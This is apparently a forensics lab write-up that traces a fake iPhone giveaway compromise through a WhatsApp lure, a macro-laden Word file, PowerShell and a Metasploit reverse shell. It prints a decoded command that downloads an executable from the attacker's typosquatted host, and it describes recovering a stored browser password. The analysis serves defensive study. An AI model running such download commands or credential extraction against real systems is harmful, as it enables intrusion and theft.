Sitemap
Azaki

Azaki

Phishy Lab

5 min readOct 20, 2026

--

A company’s employee joined a fake iPhone giveaway. Our team took a disk image of the employee’s system for further analysis.
As a soc analyst, you are tasked to identify how the system was compromised.

Author: @Semah BenAli

Q1: What is the hostname of the victim machine?

Task: Determine the hostname of the victim workstation.

During a Windows disk image investigation, determining the system hostname establishes device identity across centralized telemetry and network logs. Hostname configuration resides in the SYSTEM registry hive.

Extract the SYSTEM hive and browse to:

SYSTEM\ControlSet001\Control\ComputerName\ComputerName

The ComputerName key records the workstation's hostname as WIN-NF3JQEU4G0T.

Press enter or click to view image in full size

WIN-NF3JQEU4G0T

Q2: What is the messaging app installed on the victim machine?

Task: Identify the messaging application installed on the compromised workstation.

Attackers frequently leverage personal communication channels and messaging apps to deliver targeted social engineering lures. Checking the victim’s user profile at root [AD1]\Users\Semah\Downloads reveals an installer for the desktop chat application: WhatsApp.exe.

Press enter or click to view image in full size

whatsapp

Q3: The attacker tricked the victim into downloading a malicious document. Provide the full download URL

Task: Identify the full URL used to lure the victim into downloading the malicious document.

Having identified WhatsApp Desktop as the vector, inspect its local chat database. Message histories are maintained within local SQLite databases.

Opening the messages table in DB Browser for SQLite reveals incoming conversation logs. At record row 18, the attacker sends a fraudulent notification announcing giveaway winners accompanied by a download link for a Word document:

We listed the 5 winners in this ... document "http://appIe.com/IPhone-Winners.doc"

The adversary used typosquatting by substituting the lowercase letter l with an uppercase I in appIe.com to mimic Apple's legitimate domain.

Press enter or click to view image in full size

http://appIe.com/IPhone-Winners.doc

Q4: Multiple streams contain macros in the document. Provide the number of the highest stream

Task: Identify the stream number with the highest index containing macros in the document.

Analyze IPhone-Winners.doc using oledump.py, a specialized parser for Microsoft Office OLE Compound File Binary Format streams.

Running oledump IPhone-Winners.doc identifies streams containing VBA macro code flagged with the uppercase letter M:

9: M 1170 'Macros/VBA/eviliphone'
10: M 5581 'Macros/VBA/iphoneevil'

Stream index 10 represents the highest stream containing macro code.

Press enter or click to view image in full size

10

Q5: The macro executed a program. Provide the program name?

Task: Identify the program executed by the document’s macro.

Utilize olevba to extract and inspect the VBA source code. Preliminary inspection alerts on multiple invocations of the Chr() function, indicating character-level string obfuscation designed to evade static string inspection.

Press enter or click to view image in full size

Rerunning olevba with the --deobf flag reconstructs the concatenated ASCII strings. The decoded routine uses WScript.Shell to execute powershell with the -EncodedCommand parameter.

Press enter or click to view image in full size

PowerShell

Q6: The macro downloaded a malicious file. Provide the full download URL

Task: Provide the complete download URL retrieved by the malicious macro.

Get Azaki’s stories in your inbox

Join Medium for free to get updates from this writer.

From the deobfuscated output, copy the Base64 payload supplied to PowerShell’s -EncodedCommand argument.

Press enter or click to view image in full size

Decoding the Base64 UTF-16LE string reveals the plaintext command:

invoke-webrequest -Uri 'http://appIe.com/Iphone.exe' -OutFile 'C:\Temp\IPhone.exe' -UseDefaultCredentials

The explicit download URL referenced by the command is http://appIe.com/Iphone.exe.

Press enter or click to view image in full size

http://appIe.com/Iphone.exe

Q7: Where was the malicious file downloaded to? (Provide the full path)

Task: Provide the full destination path where the malicious executable was saved.

Reviewing the decoded PowerShell command:

invoke-webrequest -Uri 'http://appIe.com/Iphone.exe' -OutFile 'C:\Temp\IPhone.exe' -UseDefaultCredentials

The -OutFile parameter writes the downloaded payload directly to C:\Temp\IPhone.exe.

Press enter or click to view image in full size

C:\Temp\IPhone.exe

Q8: What is the name of the framework used to create the malware?

Task: Identify the offensive security framework used to generate the payload.

Calculating the SHA-256 hash of IPhone.exe (72c677ba5bf40394361b3566b6bb2b1c0c5e726b10c9af2debf7384385ebdbd1) and querying VirusTotal reveals matches against several crowdsourced YARA rules:

Windows_Trojan_Metasploit_4a1c4da8
Windows_Trojan_Metasploit_0cc81460

These rules detect signature patterns of 64-bit reverse TCP shellcode generated via the Metasploit Framework.

Press enter or click to view image in full size

Metasploit

Q9: What is the attacker’s IP address?

Task: Identify the attacker’s Command and Control (C2) IP address.

Because the payload was built as a reverse TCP shellcode stager, execution prompts an immediate outbound connection back to the attacker’s listener host.

Under Behavior -> Contacted IP addresses on VirusTotal, filtering out standard Microsoft cloud infrastructure isolates the remote listener IP: 155.94.69.27.

155.94.69.27

Q10: The fake giveaway used a login page to collect user information. Provide the full URL of the login page?

Task: Identify the full URL of the phishing login page used in the fake giveaway.

The attacker directed the employee to a phishing portal designed to harvest credentials before granting giveaway entry. Check the victim’s Firefox browsing history database:

root\Users\Semah\AppData\Roaming\Mozilla\Firefox\Profiles\pyb51x2n.default-release\places.sqlite
Press enter or click to view image in full size

Opening places.sqlite in DB Browser for SQLite and examining the moz_places table shows browsing activity navigating to:

http://appIe.competitions.com/login.php
Press enter or click to view image in full size

http://appIe.competitions.com/login.php

Q11: What is the password the user submitted to the login page?

Task: Determine the password submitted by the user on the phishing login page.

Mozilla Firefox stores saved authentication records in logins.json, encrypted with master keys maintained in key4.db.

Press enter or click to view image in full size

Extract both database files and parse them using forensic credential recovery tools (such as PasswordFox or Mozilla-Recovery). The tool decrypts the entry for https://appIe.com under username Semah, exposing the submitted password: GacsriicUZMY4xiAF4yl.

GacsriicUZMY4xiAF4yl

← All Lab

--